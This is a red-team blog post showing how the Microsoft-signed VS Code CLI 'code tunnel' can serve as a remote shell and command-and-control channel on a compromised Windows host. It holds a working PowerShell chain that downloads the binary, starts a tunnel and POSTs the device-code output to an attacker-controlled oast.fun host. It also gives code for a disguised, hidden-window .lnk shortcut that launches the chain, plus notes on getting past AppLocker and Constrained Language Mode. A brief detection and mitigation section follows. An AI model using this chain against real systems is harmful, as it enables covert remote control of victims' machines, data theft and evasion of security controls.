Let's Go (VS) Code - Red Team style

badoption.eu/blog/2023/01/31/code_c2.html

PfiatDe

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Let's Go (VS) Code - Red Team style or the Microsoft signed and hosted Reverse Shell

TL;DR;

MS is offering a signed binary (code.exe), which will establish a Command&Control channel via an official Microsoft domain https://vscode.dev. The C2 communication itself is going to https://global.rel.tunnels.api.visualstudio.com over WebSockets. An attacker only needs an Github account.

Preamble

Recently I browsed some MS documentation and stumbled across this two pages.

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

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VSCode tunnels Documentation

So what do we have here? VSCode is capable of establishing a connection to a remote system.

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Okay fine, as remote debuggers are not new, not so exiting, but things will get better.

At the end of the page, something is making things a little bit more exiting. Using the 'code' CLI

Okay, there is a portable binary for this, nice.

```
This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.
```

Okay, there is MS domain, hosting the C2 channel, things are getting better. The VSCode binary is also proxyaware and portable.

Action

If we get code execution on the client and here we just assume we have it, we can bring in the portable version of VSCode, the code CLI. If a VSCode is allready installed, we can just stick to the installed version, doesnt't matter. Lets dive in the steps.

Prepare the client

Get the binary on the client from here: <u>https://code.visualstudio.com/sha/download?</u> <u>build=stable&os=cli-win32-x64</u>

As the binary is signed from Microsoft, we do not need to take care of Mark-of-the-Web, as it will get ignorred and also we will Bypass Smartscreen. If combined with some tricks seen later, we will also bypass Applocker and Powershell Constrained Language Mode if in default configuration.

The certificate of the binary is as following:

	code.exe	×	X
Sicherheit Allgemein	Details Kompatibilität	Vorgängerversionen Digitale Signaturen	
Signaturliste			
Name des Signa	Digestalgorithmus	Zeitstempel	Details der digitalen Signatur ? X
Microsoft Corpora	sha256	Montag, 9. Januar 20	Allgemein Erweitert
			Informationen der digitalen Signatur Die digitale Signatur ist gültig.
			Allgemein Details Zertifizierungspfad
		Details	Signaturgebeninformationen
			Name: Microsoft Corporation
			E-Mail: Nicht verfügbar
			Signaturzeitpunkt: Montan 9 Januar 2023 17:48:50
			Zertifikat anzeigen
			Gegensignaturen
			Name des Signa E-Mail-Adresse: Zeitstempel
			Name des Signa E-Mai-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2
			Name des Signa E-Mail-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2
			Name des Signa E-Mail-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2
	OK	Abbrechen Übernehmen	Name des Signa E-Mail-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2 Details Zertifikat anzei
	ОК	Abbrechen Übernehmen	n Name des Signa E-Mai-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2 Details Zertifizierungsstatus:
	ОК	Abbrechen Übernehmen	n Name des Signa E-Mal-Adresse: Zeitstempel Microsoft Time-S Nicht verfügbar Montag, 9. Januar 2 Details Details OK Details CK Deses Zertifikat ist gultg.

Code.exe signed by MS

Start the binary on the client.

PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license)
and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/enUS/privacystatement).
*
/ Do you accept the terms in the License Agreement (Y/n)? · yes
To grant access to the server, please log into https://github.com/login/device and
use code 71BC-3082
...

• We follow the instrctions and open the provided url on our attacker system. We will see a device code authentication, like known from Azure.



Github Device Code Authentication

• After that, the code tunnel will be established.

```
PS C:\temp> .\code.exe tunnel
*
*
* Visual Studio Code Server
*
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license)
and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-
US/privacystatement).
*
```

Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp

Connect via Browser or VSCode

So we do as told and open the page in a browser on our attacker machine.

We get a nice Working Project on the victims machine. Over the URL, we can control the path, meaning if we just use C: we get access to all files on the system, in the limits of the user permissions. So open <u>https://vscode.dev/tunnel/itsmeC2/C:</u> and add the C: to the workspace.



File Browser on the target

Nice, we can browse, read and edit all the files remotly.

Filebrowsing is nice, but what about Command Execution? We just say: Menue -> Terminal - > New Terminal

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Remote Powershell session

and we get a nice Powershell remote session on the client.

The Remoteshell has everything we want

- Access to the history
- Syntax highlighting
- Tab completion
- Job Control Meaning interactive

It is a quite responsive good usable remote powershell session.

Beside the Powershell session there are some additional possibilities, like running a task, "Run and Debug" a file or we can do local port forwarding.

A nice feature is the installation of extensions on the remote host.

For example, we now can run some python scripts if the Python was installed on the main machine. One caveat here is, that we need to save the file to disk, but there might be some ways around it.

÷	→ C @	O A https	:// vscode.dev /tu	nnel/itsmeC2/C:			:2	☆
メ Vis	ual Studio Code (Vorschau). Überall, jed	erzeit, vollständig	in Ihrem Browser.	Lesen Sie die Ankündigung	Datenschutz und Cookies	Nutzungsbedingungen	VS Code herunterladen	<u>Impressum</u>
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Q o	 Outiled-1.cs Untitled-1.py 		3 prin	t("hello")				
ß				Run Code	Ctrl+Alt+N			
₽	> \$Recycle.Bin > \$WINDOWS.~BT > \$Windows ~WS			Go to Definition Go to References	Ctrl+F12 Shift+F12			
-0	> \$WinREAgent			Peek				
Ш	> Autodesk			Find All References	Shift+Alt+F12			
<u>∟</u> ⊘	> Brother > Dell			Change All Occurrence	s Ctrl+F2			
	> Dokumente und Einstellunger			Refactor	Ctrl+Shift+R			
	> Drivers							
				Cut				
	> HashiCorp			Сору				
	> inetpub			Command Palette	F1			
	> PerfLogs							
	> Program Files							
	Program Files (x86) ProgramData							
	> Programme		PROBLEMS -	OUTPUT DEBUG CONSOLE	TERMINAL PORTS			
	> Recovery		[Running] hello	python -u "c:\temp\t	empCodeRunnerFile.p			
	> System Volume Information							
	✓ temp		[Done] exi	ted with code=0 in 0	.119 seconds			
	≡ code.exe							
	Untitled-1.cs							

Running python via an remotly installed extension

Connectiing via VSCode Desktop is straight forward, you just need the extension as stated in the official MS Blogpost.

Build an attack chain

Lets try to build a complete attack chain. First we should check, if we can get rid of the interactive part of starting the tunnel and provide the paramters on the commandline.

We can provide a name to get a fixed instance name for our session: .\code.exe tunnel - name itsmeC2V2

Then there is the problem with the authentication. Regarding <u>https://github.com/microsoft/vscode/issues/170013</u> we must use a Github OAuth refresh token to authenticate.

I did not manage to get the Github OAuth token authentication working, so an additional step was necessay by posting the device code to a service like <u>https://app.interactsh.com/#/</u>

A very basic chain, without obfuscation might look something like this.

```
cd C:\tmp #change folder
iwr -uri
https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode
_cli_win32_x64_cli.zip -OutFile vscode.zip #download binary
Expand-Archive vscode.zip #Expand the zip
cd vscode
.\code.exe tunnel user logout #logout previous user, if existing
Start-Sleep 3
Start-Process -FilePath .\code.exe -ArgumentList "tunnel --name Ooooopsie2000" -
RedirectStandardOutput .\output.txt #start tunnel and redirect the output to a txt
file
Start-Sleep 3
iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyb.oast.fun -Method Post -Body (Get-Content
.\output.txt) #Post output to interact.sh for the code
```

We can build a shortcut to start the chain.

```
#Payload
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$pay = 'cd C:\tmp; iwr -uri
https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode
_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode;
.\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -
ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput .\output.txt;
Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyb.oast.fun -Method Post -Body
(Get-Content .\output.txt)'
$arguments = " -nop -c $pay"
#lnk file
```

```
$LNKName = 123
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.IconLocation = "C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments = $arguments
$link.Save()
```

PoC Video for the attack Chain

The video is showing an example attack chain via a shortcut and gathering the device code via interact.sh service.

If we add some wellknown Applocker bypass paths like C:\Windows\Temp and specify a working directory with --cli-data-dir we can also beat a basic Applocker configuration, even with Powershell in Constrained Language Mode (CLM) running by a user without admin privileges.



Applocker and CLM Bypass

IOCs & Mitigation

The code binary is spawning a nodejs application and some powershell scripts, which could be detected.

✓ ■ code.exe	2948	0.09	2.89 kB/s	10.59 MB MSEDGEWIN10\IEUser		"C:\Users\IEUser\Downloads\vscode_cli_win32_x64_cli\code.exe" tunnelname Pippilotta
✓ m cmd.exe	8720			2.55 MB MSEDGEWIN10\IEUser	Windows Command Processor	cmd.exe /c ""C:\Users\IEUser/.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\bin\code-server.cmd" connection-token=rP-
🗸 🌒 node.exe	3380	0.22	3.73 kB/s	43.09 MB MSEDGEWIN10\IEUser	Node.js JavaScript Runtime	"C:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\bin\\node.exe" "C\\Users\IEUser\.vscode-cli\server-stable
🗸 🔘 node.exe	6996			29.07 MB MSEDGEWIN10\IEUser	Node.js JavaScript Runtime	C:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server\serv
winpty-agent.exe	5668	0.23	413.76 kB	2.18 MB MSEDGEWIN10\IEUser		"\/?\c:\Users\/EUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\node_modules\node-pty\build\Release\winpty-agent.e:
conhost.exe	8764	0.29	19.88 kB/s	4.78 MB MSEDGEWIN10\IEUser	Console Window Host	\??\C:\Windows\system32\conhost.exe 0x4
powershell.exe	8			58.64 MB MSEDGEWIN10\IEUser	Windows PowerShell	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -command "try (. \"c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d32
🗸 🔘 node.exe	1512	0.09	591 B/s	76.83 MB MSEDGEWIN10\IEUser	Node.js JavaScript Runtime	C:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stabl
🔘 node.exe	7056			15.78 MB MSEDGEWIN10\IEUser	Node.js JavaScript Runtime	C:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f3f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f76b503ca0534\node.exe c:\Users\IEUser\.vscode-cli\server-stable\bin\97dec172d3256f8ca4bfb2143f77b40507\server-stable\bin\97dec172d3256f8ca4bfb2143f77b405073
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Process tree

The communication is going through global.rel.tunnels.api.visualstudio.com as Microsoft stated and via WebSockets, so this can be blocked. <u>https://code.visualstudio.com/docs/remote/tunnels</u>

If you're part of an organization who wants to control access to Remote Tunnels, you can do so by allowing or denying access to the domain global.rel.tunnels.api.visualstudio.com.

Starting VSCode in the tunnel mode, will drop some JSON files on the disk. The location of the files is handed over via the --cli-data-dir paramter but defaults to: %UserProfile%\.vscode-cli

≥ Windows Pov PS C:\User	werShell 's\IEUser\.vsco	de-cli> ls		
Direct	cory: C:\Users\	IEUser\.vscode	e-cli	
Mode	Last	WriteTime	Length	Name
 d -a -a	1/23/2023 1/26/2023 1/26/2023 1/23/2023	11:55 AM 12:08 PM 12:08 PM 11:53 AM	 56 90 18	 server-stable code_tunnel.json last-used-servers.json license_consent.json
PS C:\User {"name":"0 PS C:\User	's\IEUser\.vsco boooopsie2000", 's\IEUser\.vsco	de-cli> cat .` "id":"p07t02pl de-cli>	\code_tunne <","cluster	l.json ":"euw"}

JSON Files dropped to disk

So monitoring for the code_tunnel.json might be possible.